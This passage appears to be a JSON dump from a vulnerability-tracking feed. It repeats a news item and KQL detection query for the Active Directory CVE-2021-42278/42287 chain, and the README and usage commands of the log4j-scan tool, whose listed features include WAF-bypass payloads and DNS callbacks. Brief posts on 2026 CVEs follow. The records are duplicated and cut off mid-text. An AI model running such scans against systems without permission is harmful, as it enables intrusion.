(\"DC1\", \"DC2\", \"DC3\", \"DC4\") // DC Names in the org\n| project Timestamp, Application, ActionType, TargetDeviceName, FROMSAM, TOSAM, ReportId, AdditionalFields4. Replace the marked area with the naming convention of your domain controllers\n5. Run the query and analyze the results which contain the affected devices. You can use Windows Event 4741\u00a0to find the creator of these machines if they were newly created\n6. We recommend investigating these co[...]", "vulnerability": "CVE-2021-42278", "author": {"login": "automation"}}, {"uuid": "32bb4f96-118b-447c-83c8-1c017361f029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.810301+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35785", "content": "Black Hat Ethical Hacking\nMicrosoft warns of easy Windows domain takeover via Active Directory bugs\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Microsoft warns of easy Windows domain takeover via Active Directory bugsPost Views: 127 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nMicrosoft warned customers today to patch two Active Directory domain service privilege escalation security flaws that, when combined, allow attackers to easily takeover Windows domains.\nThe company released security updates to address the two security vulnerabilities (tracked as CVE-2021-42287\u00a0and CVE-2021-42278\u00a0and reported by Andrew Bartlett of Catalyst IT) during the November 2021 Patch Tuesday.\n\nRedmond\u2019s warning to immediately patch the two bugs \u2014 both allowing attackers to impersonate domain controllers \u2014 comes after a proof-of-concept (PoC) tool that can leverage these vulnerabilities was shared on Twitter and GitHub on December 11.\n\n\u201cWhen combining these two vulnerabilities, an attacker can create a straightforward path to a Domain Admin user in an Active Directory environment that hasn\u2019t applied these new updates,\u201d Microsoft explains in an advisory published today.\n\n\u201cThis escalation attack allows attackers to easily elevate their privilege to that of a Domain Admin once they compromise a regular user in the domain.\n\n\u201cAs always, we strongly advise deploying the latest patches on the domain controllers as soon as possible.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nWindows admins are urged to update devices exposed to attacks using the steps and information detailed in the following knowledgebase articles: KB5008102, KB5008380, KB5008602.\n\nResearchers who tested the PoC stated that they were able to easily use the\u00a0tool\u00a0to escalate privileges from standard Active Directory user to a Domain Admin in default configurations.\nhttps://www.bleepstatic.com/images/news/u/1109292/2021/CVE-2021-42278_exploit_tool.jpg \n ago(1d)\n| where ActionType == \"SAM Account Name changed\"\n| extend FROMSAM = parse_json(AdditionalFields)['FROM SAM Account Name']\n| extend TOSAM = parse_json(AdditionalFields)['TO SAM Account Name']\n| where (FROMSAM has \"$\" and TOSAM !has \"$\")\n        or TOSAM in (\"DC1\", \"DC2\", \"DC3\", \"DC4\") // DC Names in the org\n| project Timestamp, Application, ActionType, TargetDeviceName, FROMSAM, TOSAM, ReportId, AdditionalFields4. Replace the marked area with the naming convention of your domain controllers\n5. Run the query and analyze the results which contain the affected devices. You can use Windows Event 4741\u00a0to find the creator of these machines if they were newly created\n6. We recommend investigating these co[...]", "vulnerability": "CVE-2021-42287", "author": {"login": "automation"}}, {"uuid": "1ee84216-11ed-4b98-a70f-1d341ae23862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.760658+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35652", "content": "KitPloit - PenTest Tools!\nlog4j-scan - A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgCzRgsGAf-AwclEd13qll9i2uHJdIZhCnBIwVHFppiIDIASEp2jjpM9jUkeyszQRv2jlF85wJXMcfrHe2OOHF9xoRrV1WZvMY3xwlzQPEEEowibKnDCRSEWKDefgT1UXMZMoo5T-2m-3cZgM9AC0LQgf3ON9Q8oaC18GW5IucU-jf0wnbYZlWA6O0Weg=w640-h142 A fully automated, accurate, and extensive scanner for finding vulnerable log4j hostsFeatures* Support for lists of URLs.\n* Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools).\n* Fuzzing for HTTP POST Data parameters.\n* Fuzzing for JSON data parameters.\n* Supports DNS callback for vulnerability discovery and validation.\n* WAF Bypass payloads. AnnouncementThere is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io). https://blogger.googleusercontent.com/img/a/AVvXsEg0pdh0BxbwLSkFKMkuqf6PYadvNT3NjSM97sWYdWpiuUULfH4FwoBm0sqP1rg3DoHDXkNZyXLnxIWcSvaSLoNyQtOk6C9ILbbTgj143N7vfl2nDLdH3NPC7TOMaDTv5Kr_V9-1_e3wHZb1ZV10etakP1A-Ssf_bubplFWlDSwol250QIMmAC1lqdeNkg=w640-h218 DescriptionWe have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achiving code execution on the organization's environment.\n\nIt supports DNS OOB callbacks out of the box, there is no need to setup a DNS callback server. UsageManagement Platform. [\u2022] Secure your External Attack Surface with FullHunt.io. usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]                      [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]  optional arguments:   -h, --help            show this help message and exit   -u URL, --url URL     Check a single URL.   -p PROXY, --proxy PROXY                         Send requests through proxy. proxy should be specified in the format supported by requests                         (http[s]://[...]", "vulnerability": "CVE-2021-45046", "author": {"login": "automation"}}, {"uuid": "aec86c5b-dcc8-4e98-8a49-e5dcf7b2886f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.697011+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35652", "content": "KitPloit - PenTest Tools!\nlog4j-scan - A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgCzRgsGAf-AwclEd13qll9i2uHJdIZhCnBIwVHFppiIDIASEp2jjpM9jUkeyszQRv2jlF85wJXMcfrHe2OOHF9xoRrV1WZvMY3xwlzQPEEEowibKnDCRSEWKDefgT1UXMZMoo5T-2m-3cZgM9AC0LQgf3ON9Q8oaC18GW5IucU-jf0wnbYZlWA6O0Weg=w640-h142 A fully automated, accurate, and extensive scanner for finding vulnerable log4j hostsFeatures* Support for lists of URLs.\n* Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools).\n* Fuzzing for HTTP POST Data parameters.\n* Fuzzing for JSON data parameters.\n* Supports DNS callback for vulnerability discovery and validation.\n* WAF Bypass payloads. AnnouncementThere is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io). https://blogger.googleusercontent.com/img/a/AVvXsEg0pdh0BxbwLSkFKMkuqf6PYadvNT3NjSM97sWYdWpiuUULfH4FwoBm0sqP1rg3DoHDXkNZyXLnxIWcSvaSLoNyQtOk6C9ILbbTgj143N7vfl2nDLdH3NPC7TOMaDTv5Kr_V9-1_e3wHZb1ZV10etakP1A-Ssf_bubplFWlDSwol250QIMmAC1lqdeNkg=w640-h218 DescriptionWe have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achiving code execution on the organization's environment.\n\nIt supports DNS OOB callbacks out of the box, there is no need to setup a DNS callback server. UsageManagement Platform. [\u2022] Secure your External Attack Surface with FullHunt.io. usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]                      [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]  optional arguments:   -h, --help            show this help message and exit   -u URL, --url URL     Check a single URL.   -p PROXY, --proxy PROXY                         Send requests through proxy. proxy should be specified in the format supported by requests                         (http[s]://[...]", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "35a9229d-951d-4090-9fe4-19e9acfe568f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.631217+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/35653", "content": "$ python3 log4j-scan.py -h\n[\u2022] CVE-2021-44228 - Apache Log4j RCE Scanner\n[\u2022] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.\n[\u2022] Secure your External Attack Surface with FullHunt.io.\nusage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]\n[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]\n\noptional arguments:\n-h, --help            show this help message and exit\n-u URL, --url URL     Check a single URL.\n-p PROXY, --proxy PROXY\nSend requests through proxy. proxy should be specified in the format supported by requests\n(http[s]://<proxy-ip:<proxy-port)\n-l USEDLIST, --list USEDLIST\nCheck a list of URLs.\n--request-type REQUEST_TYPE\nRequest Type: (get, post) - [Default: get].\n--headers-file HEADERS_FILE\nHeaders fuzzing list - [default: headers.txt].\n--run-all-tests       Run all available tests on each URL.\n--exclude-user-agent-fuzzing\nExclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.\n--wait-time WAIT_TIME\nWait time after all URLs are processed (in seconds) - [Default: 5].\n--waf-bypass          Extend scans with WAF bypass payloads.\n--test-CVE-2021-45046\nTest using payloads for CVE-2021-45046 (detection payloads).\n--dns-callback-provider DNS_CALLBACK_PROVIDER\nDNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].\n--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST\nCustom DNS Callback Host.\n--disable-http-redirects\nDisable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems. Scan a Single URL$ python3 log4j-scan.py -u https://log4j.lab.secbot.localScan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body)$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-testsDiscover WAF bypasses on the environment.$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypassScan a list of URLs$ python3 log4j-scan.py -l urls.txtInstallation$ pip3 install -r requirements.txt Docker Supportgit clone https://github.com/fullhunt/log4j-scan.git\ncd log4j-scan\nsudo docker build -t log4j-scan .\nsudo docker run -it --rm log4j-scan\n\n# With URL list \"urls.txt\" in current directory\ndocker run -it --rm -v $PWD:/data log4j-scan -l /data/urls.txtAbout FullHuntFullHunt is the next-generation attack surface management platform. FullHunt enables companies to discover all of their attack surfaces, monitor them for exposure, and continuously scan them for the latest security vulnerabilities. All, in a single platform, and more.\n\nFullHunt provides an enterprise platform for organizations. The FullHunt Enterprise Platform provides extended scanning and capabilities for customers. FullHunt Enterprise platform allows organizations to closely monitor their external attack surface, and get detailed alerts about every single change that happens. Organizations around the world use the FullHunt Enterprise Platform to solve their continuous security and external attack surface security challenges. Legal DisclaimerThis project is made for educational and ethical testing purposes only. Usage of log4j-scan for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. LicenseThe project is licensed under MIT License. AuthorMazin Ahmed\n\n* Email: mazin at FullHunt.io\n* FullHunt: https://fullhunt.io\n* Website: https://mazinahmed.net\n* Twitter: https://twitter.c[...]", "vulnerability": "CVE-2021-45046", "author": {"login": "automation"}}, {"uuid": "749e7830-2a43-4bae-bccf-97cb523971ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.564914+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/35653", "content": "$ python3 log4j-scan.py -h\n[\u2022] CVE-2021-44228 - Apache Log4j RCE Scanner\n[\u2022] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.\n[\u2022] Secure your External Attack Surface with FullHunt.io.\nusage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]\n[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]\n\noptional arguments:\n-h, --help            show this help message and exit\n-u URL, --url URL     Check a single URL.\n-p PROXY, --proxy PROXY\nSend requests through proxy. proxy should be specified in the format supported by requests\n(http[s]://<proxy-ip:<proxy-port)\n-l USEDLIST, --list USEDLIST\nCheck a list of URLs.\n--request-type REQUEST_TYPE\nRequest Type: (get, post) - [Default: get].\n--headers-file HEADERS_FILE\nHeaders fuzzing list - [default: headers.txt].\n--run-all-tests       Run all available tests on each URL.\n--exclude-user-agent-fuzzing\nExclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.\n--wait-time WAIT_TIME\nWait time after all URLs are processed (in seconds) - [Default: 5].\n--waf-bypass          Extend scans with WAF bypass payloads.\n--test-CVE-2021-45046\nTest using payloads for CVE-2021-45046 (detection payloads).\n--dns-callback-provider DNS_CALLBACK_PROVIDER\nDNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].\n--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST\nCustom DNS Callback Host.\n--disable-http-redirects\nDisable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems. Scan a Single URL$ python3 log4j-scan.py -u https://log4j.lab.secbot.localScan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body)$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-testsDiscover WAF bypasses on the environment.$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypassScan a list of URLs$ python3 log4j-scan.py -l urls.txtInstallation$ pip3 install -r requirements.txt Docker Supportgit clone https://github.com/fullhunt/log4j-scan.git\ncd log4j-scan\nsudo docker build -t log4j-scan .\nsudo docker run -it --rm log4j-scan\n\n# With URL list \"urls.txt\" in current directory\ndocker run -it --rm -v $PWD:/data log4j-scan -l /data/urls.txtAbout FullHuntFullHunt is the next-generation attack surface management platform. FullHunt enables companies to discover all of their attack surfaces, monitor them for exposure, and continuously scan them for the latest security vulnerabilities. All, in a single platform, and more.\n\nFullHunt provides an enterprise platform for organizations. The FullHunt Enterprise Platform provides extended scanning and capabilities for customers. FullHunt Enterprise platform allows organizations to closely monitor their external attack surface, and get detailed alerts about every single change that happens. Organizations around the world use the FullHunt Enterprise Platform to solve their continuous security and external attack surface security challenges. Legal DisclaimerThis project is made for educational and ethical testing purposes only. Usage of log4j-scan for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. LicenseThe project is licensed under MIT License. AuthorMazin Ahmed\n\n* Email: mazin at FullHunt.io\n* FullHunt: https://fullhunt.io\n* Website: https://mazinahmed.net\n* Twitter: https://twitter.c[...]", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "a980b39b-f1e6-42e8-9a57-ab524aa2cdc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.520789+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35649", "content": "\u00a0DescriptionWe have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achiving code execution on the organization's environment.It supports DNS OOB callbacks out of the box, there is no need to setup a DNS callback server.UsageManagement Platform. [\u2022] Secure your External Attack Surface with FullHunt.io. usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]                      [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]  optional arguments:   -h, --help            show this help message and exit   -u URL, --url URL     Check a single URL.   -p PROXY, --proxy PROXY                         Send requests through proxy. proxy should be specified in the format supported by requests                         (http[s]://:)   -l USEDLIST, --list USEDLIST                         Check a list of URLs.   --request-type REQUEST_TYPE                         Request Type: (get, post) - [Default: get].   --headers-file HEADERS_FILE                         Headers fuzzing list - [default: headers.txt].   --run-all-tests       Run all available tests on each URL.   --exclude-user-agent-fuzzing                         Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.   --wait-time WAIT_TIME                         Wait time after all URLs are processed (in seconds) - [Default: 5].   --waf-bypass          Extend scans with WAF bypass payloads.   --test-CVE-2021-45046                         Test using payloads for CVE-2021-45046 (detection payloads).   --dns-callback-provider DNS_CALLBACK_PROVIDER                         DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].   --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST                         Custom DNS Callback Host.   --disable-http-redirects                         Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.\">$ python3 log4j-scan.py -h\n[\u2022] CVE-2021-44228 - Apache Log4j RCE Scanner\n[\u2022] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.\n[\u2022] Secure your External Attack Surface with FullHunt.io.\nusage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]\n                     [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     Check a single URL.\n  -p PROXY, --proxy PROXY\n                        Send requests through proxy. proxy should be specified in the format supported by requests\n                        (http[s]://:)\n  -l USEDLIST, --list USEDLIST\n                        Check a list of URLs.\n  --request-type REQUEST_TYPE\n                        Request Type: (get, post) - [Default: get].\n  --headers-file HEADERS_FILE\n                        Headers fuzzing list - [default: headers.txt].\n  --run-all-tests       Run all available tests on each URL.\n  --exclude-user-agent-fuzzing\n                        Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.\n  --wait-time WAIT_TIME\n                        Wait time after all URLs are processed (in seconds) - [Default: 5].\n  --waf-bypass          Extend scans with WAF bypass payloads.", "vulnerability": "CVE-2021-45046", "author": {"login": "automation"}}, {"uuid": "af7b5b74-db20-43b5-98a0-99cdf759d784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.472028+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35649", "content": "\u00a0DescriptionWe have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achiving code execution on the organization's environment.It supports DNS OOB callbacks out of the box, there is no need to setup a DNS callback server.UsageManagement Platform. [\u2022] Secure your External Attack Surface with FullHunt.io. usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]                      [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]  optional arguments:   -h, --help            show this help message and exit   -u URL, --url URL     Check a single URL.   -p PROXY, --proxy PROXY                         Send requests through proxy. proxy should be specified in the format supported by requests                         (http[s]://:)   -l USEDLIST, --list USEDLIST                         Check a list of URLs.   --request-type REQUEST_TYPE                         Request Type: (get, post) - [Default: get].   --headers-file HEADERS_FILE                         Headers fuzzing list - [default: headers.txt].   --run-all-tests       Run all available tests on each URL.   --exclude-user-agent-fuzzing                         Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.   --wait-time WAIT_TIME                         Wait time after all URLs are processed (in seconds) - [Default: 5].   --waf-bypass          Extend scans with WAF bypass payloads.   --test-CVE-2021-45046                         Test using payloads for CVE-2021-45046 (detection payloads).   --dns-callback-provider DNS_CALLBACK_PROVIDER                         DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].   --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST                         Custom DNS Callback Host.   --disable-http-redirects                         Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.\">$ python3 log4j-scan.py -h\n[\u2022] CVE-2021-44228 - Apache Log4j RCE Scanner\n[\u2022] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.\n[\u2022] Secure your External Attack Surface with FullHunt.io.\nusage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]\n                     [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     Check a single URL.\n  -p PROXY, --proxy PROXY\n                        Send requests through proxy. proxy should be specified in the format supported by requests\n                        (http[s]://:)\n  -l USEDLIST, --list USEDLIST\n                        Check a list of URLs.\n  --request-type REQUEST_TYPE\n                        Request Type: (get, post) - [Default: get].\n  --headers-file HEADERS_FILE\n                        Headers fuzzing list - [default: headers.txt].\n  --run-all-tests       Run all available tests on each URL.\n  --exclude-user-agent-fuzzing\n                        Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.\n  --wait-time WAIT_TIME\n                        Wait time after all URLs are processed (in seconds) - [Default: 5].\n  --waf-bypass          Extend scans with WAF bypass payloads.", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "d29464e6-8424-41e1-8da2-603103b12f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.436158+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35650", "content": "--test-CVE-2021-45046\n                        Test using payloads for CVE-2021-45046 (detection payloads).\n  --dns-callback-provider DNS_CALLBACK_PROVIDER\n                        DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].\n  --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST\n                        Custom DNS Callback Host.\n  --disable-http-redirects\n                        Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems.Scan a Single URL$ python3 log4j-scan.py -u https://log4j.lab.secbot.localScan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body)$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-testsDiscover WAF bypasses on the environment.$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypassScan a list of URLs$ python3 log4j-scan.py -l urls.txtInstallation$ pip3 install -r requirements.txt\nDocker Supportgit clone https://github.com/fullhunt/log4j-scan.git\ncd log4j-scan\nsudo docker build -t log4j-scan .\nsudo docker run -it --rm log4j-scan\n\n# With URL list \"urls.txt\" in current directory\ndocker run -it --rm -v $PWD:/data log4j-scan -l /data/urls.txtAbout FullHuntFullHunt is the next-generation attack surface management platform. FullHunt enables companies to discover all of their attack surfaces, monitor them for exposure, and continuously scan them for the latest security vulnerabilities. All, in a single platform, and more.FullHunt provides an enterprise platform for organizations. The FullHunt Enterprise Platform provides extended scanning and capabilities for customers. FullHunt Enterprise platform allows organizations to closely monitor their external attack surface, and get detailed alerts about every single change that happens. Organizations around the world use the FullHunt Enterprise Platform to solve their continuous security and external attack surface security challenges.Legal DisclaimerThis project is made for educational and ethical testing purposes only. Usage of log4j-scan for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.LicenseThe project is licensed under MIT License.AuthorMazin AhmedEmail: mazin at FullHunt.ioFullHunt: https://fullhunt.io (https://fullhunt.io/)Website: https://mazinahmed.net (https://mazinahmed.net/)Twitter: https://twitter.com/mazen160Linkedin: http://linkedin.com/in/infosecmazinahmed\n\nDownload Log4J-Scan (https://github.com/fullhunt/log4j-scan)", "vulnerability": "CVE-2021-45046", "author": {"login": "automation"}}, {"uuid": "5ec4d9bf-526f-463a-b49c-ca8b08dc64ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T17:00:04.388064+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/35647", "content": "A fully automated, accurate, and extensive scanner for finding vulnerable (https://www.kitploit.com/search/label/Vulnerable) log4j hostsFeaturesSupport for lists of URLs.Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools).Fuzzing for HTTP POST Data parameters.Fuzzing for JSON data parameters.Supports DNS callback for vulnerability (https://www.kitploit.com/search/label/Vulnerability) discovery (https://www.kitploit.com/search/label/Discovery) and validation.WAF Bypass payloads.\n AnnouncementThere is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure (https://www.kitploit.com/search/label/Infrastructure) at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io (mailto:team@fullhunt.io)).", "vulnerability": "CVE-2021-45046", "author": {"login": "automation"}}, {"uuid": "dca968eb-6c27-4726-a3f4-7c6e727db1f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:27:21.742777+00:00", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3muufwvvvd52b", "content": "\ud83d\udd34 EXPLOITED\n\nChrome's V8 engine has its sixth zero-day of 2026 (CVE-2026-85046), exploited in the wild.\n\nChrome 152.0.7977.82 is only half the job. Edge, Brave, Opera and Electron apps run the same engine and patch separately.", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "9a92085b-4cdb-42c8-add8-a59a38fb5e8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:25:26.187794+00:00", "type": "seen", "source": "https://bsky.app/profile/threadlinqs.bsky.social/post/3muufthxxqf2k", "content": "CVE-2026-75754: three bugs chain into unauthenticated root shell on ASUS ACC fleet servers. https://intel.threadlinqs.com/threat/TL-2026-2354 #ThreatIntel #CVE_2026_75754 #ASUS #ASUSACC", "vulnerability": "CVE-2026-75754", "author": {"login": "automation"}}, {"uuid": "5c1549fa-7f97-413c-80b8-7ca62dd3d5e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:20:07.184139+00:00", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117225003855165015", "content": "A new vulnerability with increased severity was disclosed for D-Link DIR-895L (CVE-2026-86295) https://vuldb.com/vuln/399457", "vulnerability": "CVE-2026-86295", "author": {"login": "automation"}}, {"uuid": "872e8587-839b-4b54-a564-898c3fae5db7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:07:07.702921+00:00", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3muuesqrgqj2k", "content": "\ud83d\udccc CVE-2026-40952 - CVE-2026-40952 is a privilege misconfiguration\nin the Secure Access installer for the Windows client and server prior to\nversion 14.55. Attackers with... https://www.cyberhub.blog/cves/CVE-2026-40952", "vulnerability": "CVE-2026-40952", "author": {"login": "automation"}}, {"uuid": "1fe8db31-5a63-4930-b88d-fdb142833455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:01:40.931767+00:00", "type": "seen", "source": "https://gist.github.com/ichintu/fe47c9308dfcae2743b09006cdd52579", "content": "This daily cyber threat intelligence digest highlights three key updates: a real-world case where granting an AI agent API key access resulted in a $100 billing loss, underscoring emerging AI security and financial risks; **CVE-2026-86258**, a HIGH-severity path traversal flaw in nbviewer (\u22641.0.1) that allows unauthorized access to files outside its configured root directory; and **CVE-2026-18480**, a HIGH-severity account takeover vulnerability in the SureCart WordPress plugin (<4.6.3) that enables low-privileged users to hijack admin accounts, manipulate data, 